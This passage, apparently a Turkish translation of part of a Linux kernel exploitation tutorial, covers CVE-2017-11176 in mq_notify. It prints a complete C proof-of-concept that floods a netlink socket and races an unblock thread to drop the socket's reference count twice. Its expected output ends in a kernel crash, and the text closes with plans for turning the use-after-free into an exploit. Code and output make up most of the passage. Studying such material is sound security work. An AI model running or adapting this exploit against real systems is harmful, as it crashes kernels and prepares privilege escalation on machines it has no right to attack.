  1. [TAMAM] netlink_attachskb()’yi 1 döndürmeye zorla
  2. [TAMAM] Exploit threadi bloklamasını kaldır
  3. [TAMAM] İkinci fget() çağrısını NULL döndür
İşimiz bitti mi? Neredeyse...


Son Proof-of-Concept Kodu

Son üç bölümde, yalnızca kullanıcı tarafı kodunu kullanarak hatayı tetiklemek için gereken her koşulu uyguladık. Son proof-of-concept kodunu göstermeden önce yapılması gereken bir şey daha var.

Receive bufferı doldurmaya çalışırken, netlink_insert() nedeniyle netlink_bind() sırasında devir sayacının bir artırıldığını gördük. Bu, mq_notify() girmeden önce ref sayacının iki (bir yerine) olarak ayarlandığı anlamına gelir.

Hata bize netlink_sock ref sayacını 1 azaltan bir öngörü verdiğinden, hatayı iki kez tetiklememiz gerekiyor!

Hatayı tetiklemeden önce, main thread'in engelini kaldırmanın bir yoluna sahip olmak için dup() kullandık. Onu tekrar kullanmamız gerekecek (çünkü eski olanı kapalı), böylece birini fd'nin engelini kaldırmak için diğerini de hatayı tetiklemek için tutabiliriz.
İşte son PoC (systemtap'ı çalıştırmayın):

Kod:
/*
 * CVE-2017-11176 Proof-of-concept code.
 *
 * Compile with:
 *
 *  gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit
 */

#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

#define NOTIFY_COOKIE_LEN (32)
#define SOL_NETLINK (270) // from [include/linux/socket.h]

// ----------------------------------------------------------------------------

// avoid library wrappers
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(sockfd, level, optname, optval, optlen) \
  syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
#define _getsockopt(sockfd, level, optname, optval, optlen) \
  syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)
#define _dup(oldfd) syscall(__NR_dup, oldfd)
#define _close(fd) syscall(__NR_close, fd)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)
#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)

// ----------------------------------------------------------------------------

#define PRESS_KEY() \
  do { printf("[ ] press key to continue...\n"); getchar(); } while(0)

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

struct unblock_thread_arg
{
  int sock_fd;
  int unblock_fd;
  bool is_ready; // we can use pthread barrier instead
};

// ----------------------------------------------------------------------------

static void* unblock_thread(void *arg)
{
  struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
  int val = 3535; // need to be different than zero

  // notify the main thread that the unblock thread has been created. It *must*
  // directly call mq_notify().
  uta->is_ready = true;

  sleep(5); // gives some time for the main thread to block

  printf("[ ][unblock] closing %d fd\n", uta->sock_fd);
  _close(uta->sock_fd);

  printf("[ ][unblock] unblocking now\n");
  if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
    perror("[+] setsockopt");
  return NULL;
}

// ----------------------------------------------------------------------------

static int decrease_sock_refcounter(int sock_fd, int unblock_fd)
{
  pthread_t tid;
  struct sigevent sigev;
  struct unblock_thread_arg uta;
  char sival_buffer[NOTIFY_COOKIE_LEN];

  // initialize the unblock thread arguments
  uta.sock_fd = sock_fd;
  uta.unblock_fd = unblock_fd;
  uta.is_ready = false;

  // initialize the sigevent structure
  memset(&sigev, 0, sizeof(sigev));
  sigev.sigev_notify = SIGEV_THREAD;
  sigev.sigev_value.sival_ptr = sival_buffer;
  sigev.sigev_signo = uta.sock_fd;

  printf("[ ] creating unblock thread...\n");
  if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
  {
    perror("[-] pthread_create");
    goto fail;
  }
  while (uta.is_ready == false) // spinlock until thread is created
    ;
  printf("[+] unblocking thread has been created!\n");

  printf("[ ] get ready to block\n");
  if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))
  {
    perror("[-] mq_notify");
    goto fail;
  }
  printf("[+] mq_notify succeed\n");

  return 0;

fail:
  return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

/*
 * Creates a netlink socket and fills its receive buffer.
 *
 * Returns the socket file descriptor or -1 on error.
 */

static int prepare_blocking_socket(void)
{
  int send_fd;
  int recv_fd;
  char buf[1024*10];
  int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

  struct sockaddr_nl addr = {
    .nl_family = AF_NETLINK,
    .nl_pad = 0,
    .nl_pid = 118, // must different than zero
    .nl_groups = 0 // no groups
  };

  struct iovec iov = {
    .iov_base = buf,
    .iov_len = sizeof(buf)
  };

  struct msghdr mhdr = {
    .msg_name = &addr,
    .msg_namelen = sizeof(addr),
    .msg_iov = &iov,
    .msg_iovlen = 1,
    .msg_control = NULL,
    .msg_controllen = 0,
    .msg_flags = 0,
  };

  printf("[ ] preparing blocking netlink socket\n");

  if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
      (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
  {
    perror("socket");
    goto fail;
  }
  printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);

  while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
  {
    if (errno != EADDRINUSE)
    {
      perror("[-] bind");
      goto fail;
    }
    addr.nl_pid++;
  }

  printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

  if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
    perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
  else
    printf("[+] receive buffer reduced\n");

  printf("[ ] flooding socket\n");
  while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)
    ;
  if (errno != EAGAIN)
  {
    perror("[-] sendmsg");
    goto fail;
  }
  printf("[+] flood completed\n");

  _close(send_fd);

  printf("[+] blocking socket ready\n");
  return recv_fd;

fail:
  printf("[-] failed to prepare block socket\n");
  return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

int main(void)
{
  int sock_fd  = -1;
  int sock_fd2 = -1;
  int unblock_fd = 1;

  printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");

  if ((sock_fd = prepare_blocking_socket()) < 0)
    goto fail;
  printf("[+] netlink socket created = %d\n", sock_fd);

  if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))
  {
    perror("[-] dup");
    goto fail;
  }
  printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);

  // trigger the bug twice
  if (decrease_sock_refcounter(sock_fd, unblock_fd) ||
      decrease_sock_refcounter(sock_fd2, unblock_fd))
  {
    goto fail;
  }

  printf("[ ] ready to crash?\n");
  PRESS_KEY();

  // TODO: exploit

  return 0;

fail:
  printf("[-] exploit failed!\n");
  PRESS_KEY();
  return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

Beklenen çıktı şu şekildedir:

Kod:
[ ] -={ CVE-2017-11176 Exploit }=-
[ ] preparing blocking netlink socket
[+] socket created (send_fd = 3, recv_fd = 4)
[+] netlink socket bound (nl_pid=118)
[+] receive buffer reduced
[ ] flooding socket
[+] flood completed
[+] blocking socket ready
[+] netlink socket created = 4
[+] netlink fd duplicated (unblock_fd=3, sock_fd2=5)
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 4 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 5 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] ready to crash?
[ ] press key to continue...

<<< KERNEL CRASH HERE >>>

Bundan sonra, exploit tamamlanana kadar (yani kernel onarıldı), sistem, her çalıştırmada sürekli olarak çökecektir. Bu sinir bozucu ama buna alışacaksınız:) Gereksiz tüm servisleri (örneğin grafik şeylerini vb.) kaldırarak önyükleme sürenizi hızlandırmak isteyebilirsiniz. Bunları daha sonra yeniden etkinleştirmeyi unutmayın, böylece "gerçek" hedefinizle eşleşebilirsiniz (aslında kernel üzerinde bunların bir etkisi var).


Sonuç

Bu makalede, zamanlayıcı alt sistemi, görev durumu ve bekleme sıralarını kullanarak çalıştırma/bekleme durumu arasında nasıl geçiş yapılacağı tanıtıldı. Bunu anlamak, main thread'i uyandırmamıza ve race koşulunu kazanmamıza izin verdi.

close() ve dup() syscall ile bir taktik yardımıyla, hatayı tetiklemek için gereken NULL değerini döndürmek için fget()'e ikinci çağrıyı zorladık. Son olarak, netlink_attachskb() içindeki "yeniden deneme yoluna" girmenin çeşitli yollarını inceledik, böylece 1 döndürmesini sağladık.

Tüm bunlar bize, SystemTap kullanmadan hatayı güvenilir bir şekilde tetikleyen ve kernelin çökmesine neden olan proof-of-concept kodunu (yalnızca kullanıcı tarafı kodunu kullanarak) verir.

Bir sonraki bölüm, önemli bir konuyu ele alacaktır: use-after-free exploitation. Slab ayırıcısının temellerini, tür karışıklığını, yeniden ayırma ve rastgele bir primitif çağrı elde etmek için nasıl kullanılacağını açıklayacaktır. Exploitin oluşturulmasına ve hata ayıklanmasına yardımcı olan bazı yeni araçlar ortaya çıkacaktır. En sonunda, istediğimiz zaman kernel paniğine neden olacağız.
 
Üst